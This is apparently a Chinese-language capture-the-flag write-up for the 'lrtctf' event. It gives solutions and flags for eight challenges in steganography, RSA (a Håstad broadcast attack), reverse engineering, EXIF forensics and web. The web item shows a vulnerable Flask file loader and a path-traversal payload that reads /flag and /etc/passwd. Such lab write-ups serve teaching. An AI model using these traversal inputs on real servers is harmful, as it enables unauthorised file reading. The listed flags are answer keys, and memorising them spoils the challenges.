1. In Girl（Misc）

girl.zip 解压后得到实际为 JPEG 的 girl.png。搜索文件特征可看到：

JPEG 尾部藏有干扰串 lrtctf{hint!flag}；在偏移 148552 处还有完整 PNG 文件头和一张二维码。

按 PNG 文件头提取：

```
python3 - <<'PY'
b = open('girl.png','rb').read()
open('inner.png','wb').write(b[b.find(b'\x89PNG\r\n\x1a\n'):])
PY
```

扫描 inner.png 的二维码，得到：

lrtctf{139e1603741c4ffb4a88a7776d79ab6f}

2. Silent Broadcast（Crypto）

同一明文 m 分别用三组 RSA 参数加密，且 e=3，属于低指数广播攻击。

对三组 (n_i, c_i) 做 CRT，恢复 m^3 mod (n1*n2*n3)；由于 m^3
小于模数乘积，直接开整数三次方根即可。

```
r = crt(c, n)
m = integer_nthroot(r, 3)[0]
```

lrtctf{h4st4d_br0adc4st_1s_n0t_s4fe}

3. 口算（Crypto）

附件给出 p=61, q=53, e=17, n=3233。计算：

phi=(p-1)(q-1)=3120

d=e^-1 mod phi=2753

m=c^d mod n=65

lrtctf{65}

4. go_back（Reverse）

题目中的四个变换都可逆。逆序执行：

还原 left：先反转，再右旋；

还原 down：再次逐位取反；

还原 right：左旋相同位数；

还原 up：每 8 位还原一个字符，并整除 2。

核心代码：

```
def dec(s, d=24):
s = s[::-1]
s = s[-d:] + s[:-d]
s = ''.join('1' if c == '0' else '0' for c in s)
s = s[d:] + s[:d]
return ''.join(chr(int(s[i:i+8], 2) >> 1) for i in range(0, len(s), 8))
```

lrtctf{XiaoSiGame}

5. HRDrev（Reverse）

程序被 UPX 加壳，先还原：

```
upx -d challenge2.exe -o unpacked.exe
```

.text 中存在自定义虚拟机。bytecode.bin 将 46 字节输入按每两个字符组成一个小端 16 位字，分别执行：

word -> xor A -> add B -> rol n -> xor C == 0

对每个 16 位字逐值求解，得到：

lrtctf{Th1s_ReV3r53_t4sk_1s_4_b1t_ch4ll3ng1ng}

6. 数学高手（Reverse）

程序把输入两两分组，校验每组字符的“和”与“差”：

a + b = sum_i

a - b = diff_i

a = (sum_i + diff_i) / 2

b = (sum_i - diff_i) / 2

lrtctf{welcome_lrtctf}

7. LAP酱的旅行日记II

Copyright = fromliaoninghuludao（辽宁葫芦岛出发）

LensModel = totianjing（目的地天津）

DateTimeOriginal = 2026:08:23 10:42:00

Make = fake shooting time、FlashManufacturer = time_0911（干扰项）

lrtctf{辽宁葫芦岛_天津_2026/8/23_1042}

8. LrtMall（Web）

访问 http://10.3.37.51:34041/ ，是个 Flask 数码商城。页面图片不是直接 <img src>，而是通过 POST /load_image 接口按 filename 参数加载。

后端代码（读 app.py 得到）：

```
filename = request.form.get('filename', 'phone.png')
if filename.startswith('/') or '\x00' in filename:
return '参数不合法', 400
path = IMAGE_DIR + '/' + filename
return send_file(path)
```

只过滤了以 / 开头和含 \x00 的输入，没过滤 ../，属于路径穿越（LFI）。

从 static/images/ 往上跳 4 层到根目录读 /flag：

```
POST /load_image
filename=../../../../flag
```

（可先读 ../../../../etc/passwd 验证漏洞存在）

lrtctf{pA7h_7r4vLE_d86287f1911e}